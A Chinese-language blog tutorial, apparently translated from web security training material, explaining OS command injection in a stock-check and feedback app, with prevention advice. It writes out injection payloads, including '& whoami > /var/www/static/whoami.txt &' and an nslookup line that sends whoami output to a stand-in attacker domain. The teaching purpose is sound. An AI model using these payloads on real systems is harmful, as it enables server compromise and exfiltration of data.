1. 程式人生 > 其它 >OS command injection:OS命令注入漏洞

OS command injection:OS命令注入漏洞

目錄

什麼是作業系統命令注入?

OS 命令注入(也稱為 shell 注入)是一種 Web 安全漏洞,允許攻擊者在執行應用程式的伺服器上執行任意作業系統 (OS) 命令,並且通常會完全破壞應用程式及其所有資料。通常,攻擊者可以利用作業系統命令注入漏洞來破壞託管基礎架構的其他部分,利用信任關係將攻擊轉向組織內的其他系統。

執行任意命令

考慮一個購物應用程式,它允許使用者檢視特定商店中某件商品是否有貨。此資訊可通過以下 URL 訪問:

https://insecure-website.com/stockStatus?productID=381&storeID=29

為了提供股票資訊,應用程式必須查詢各種遺留系統。由於歷史原因,該功能是通過呼叫帶有產品和儲存 ID 作為引數的 shell 命令來實現的:

stockreport.pl 381 29

此命令輸出指定專案的庫存狀態,並返回給使用者。

由於應用程式沒有針對作業系統命令注入實施防禦,攻擊者可以提交以下輸入來執行任意命令:

& echo aiwefwlguh &

如果在productID引數中提交了這個輸入,那麼應用程式執行的命令是:

stockreport.pl & echo aiwefwlguh & 29

該echo命令只是使提供的字串在輸出中回顯,並且是測試某些型別的作業系統命令注入的有用方法。該&字元是一個 shell 命令分隔符,因此執行的實際上是三個單獨的命令一個接一個。結果,返回給使用者的輸出是:

Error - productID was not provided
aiwefwlguh
29: command not found

三行輸出表明:

  • 原始stockreport.pl命令在沒有預期引數的情況下執行,因此返回了一條錯誤訊息。
  • echo執行 注入的命令,並在輸出中回顯提供的字串。
  • 原始引數29作為命令執行,導致錯誤。

&在注入的命令之後 放置額外的命令分隔符通常很有用,因為它將注入的命令與注入點之後的任何內容分開。這降低了以下內容阻止執行注入的命令的可能性。

command1 & command2 :兩個命令都執行
command1 && command2 :與執行,第一個成功執行第二個才會執行
command1 | command2 :或執行,只執行第二個 command1 ||
command2:第一個執行成功,第二個不執行。第一個執行失敗,第二個執行

有用的命令

當您發現作業系統命令注入漏洞時,執行一些初始命令以獲取有關您已入侵的系統的資訊通常很有用。下面總結了一些在 Linux 和 Windows 平臺上有用的命令:

命令的目的 Linux Windows
當前使用者名稱 whoami whoami
作業系統 uname -a ver
網路配置 ifconfig ipconfig /all
網路連線 netstat -an netstat -an
執行程序 ps -ef tasklist

盲作業系統命令注入漏洞

作業系統命令注入的許多例項都是盲漏洞。這意味著應用程式不會在其 HTTP 響應中返回命令的輸出。仍然可以利用盲點漏洞,但需要不同的技術。

考慮一個允許使用者提交有關該站點的反饋的網站。使用者輸入他們的電子郵件地址和反饋訊息。然後,伺服器端應用程式生成一封包含反饋的電子郵件給站點管理員。為此,它mail使用提交的詳細資訊呼叫程式。例如:

mail -s "This site is great" -aFrom:[email protected] [email protected]

mail命令 的輸出(如果有)不會在應用程式的響應中返回,因此使用echo有效負載將無效。在這種情況下,您可以使用各種其他技術來檢測和利用漏洞。

使用時間延遲檢測盲作業系統命令注入

您可以使用將觸發時間延遲的注入命令,允許您根據應用程式響應所需的時間來確認命令已執行。該ping命令是執行此操作的有效方法,因為它允許您指定要傳送的 ICMP 資料包的數量,以及執行該命令所需的時間:

& ping -c 10 127.0.0.1 &

此命令將導致應用程式 ping 10秒

通過重定向輸出來利用盲作業系統命令注入

您可以將注入命令的輸出重定向到 Web 根目錄中的檔案中,然後您可以使用瀏覽器檢索該檔案。例如,如果應用程式從檔案系統位置提供靜態資源/var/www/static,那麼您可以提交以下輸入:

& whoami > /var/www/static/whoami.txt &

該>字元將whoami命令的輸出傳送到指定的檔案。然後,您可以使用瀏覽器獲取https://vulnerable-website.com/whoami.txt檔案以檢索檔案,並檢視注入命令的輸出。

使用帶外 ( OAST ) 技術利用 OS 命令盲注入

您可以使用注入的命令,使用 OAST 技術觸發與您控制的系統的帶外網路互動。例如:

& nslookup kgji2ohoyw.web-attacker.com &

此有效負載使用該nslookup命令對指定域進行 DNS 查詢。攻擊者可以監視指定的查詢發生,從而檢測到命令已成功注入。

帶外通道還提供了一種從注入的命令中提取輸出的簡單方法:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

這將導致對包含whoami命令結果的攻擊者域進行 DNS 查詢:

wwwuser.kgji2ohoyw.web-attacker.com

注入作業系統命令的方式

多種 shell 元字元可用於執行作業系統命令注入攻擊。

許多字元用作命令分隔符,允許將命令連結在一起。以下命令分隔符適用於基於 Windows 和 Unix 的系統:

  • &
  • &&
  • |
  • ||

以下命令分隔符僅適用於基於 Unix 的系統:

  • ;

換行符(0x0a或\n)
在基於 Unix 的系統上,您還可以使用反引號或美元字元在原始命令中執行注入命令的內聯執行:

` 注入命令 `
$( 注入命令 )

請注意,不同的 shell 元字元具有細微的不同行為,這些行為可能會影響它們是否在某些情況下工作,以及它們是否允許帶內檢索命令輸出或僅對盲目利用有用。

有時,您控制的輸入會出現在原始命令的引號內。在這種情況下,您需要在使用合適的 shell 元字元注入新命令之前終止引用的上下文(使用"或')。

如何防止作業系統命令注入攻擊

迄今為止,以防止作業系統命令注入漏洞的最有效的方法是從未調出從應用層程式碼OS命令。在幾乎所有情況下,存在使用安全平臺API實現所需功能的替代方式。

如果認為使用使用者提供的輸入呼叫作業系統命令不可避免,則必須執行強輸入驗證。有效驗證的一些例子包括:

  • 驗證針對允許值的白名單。
  • 驗證輸入是否為數字。
  • 驗證輸入僅包含字母數字字元,沒有其他語法或空格。

永遠不要試圖通過轉義 shell 元字元來清理輸入。實際上,這太容易出錯並且容易被熟練的攻擊者繞過。

本文來自部落格園,作者:{Zeker62},轉載請註明原文連結:https://www.cnblogs.com/Zeker62/p/15168131.html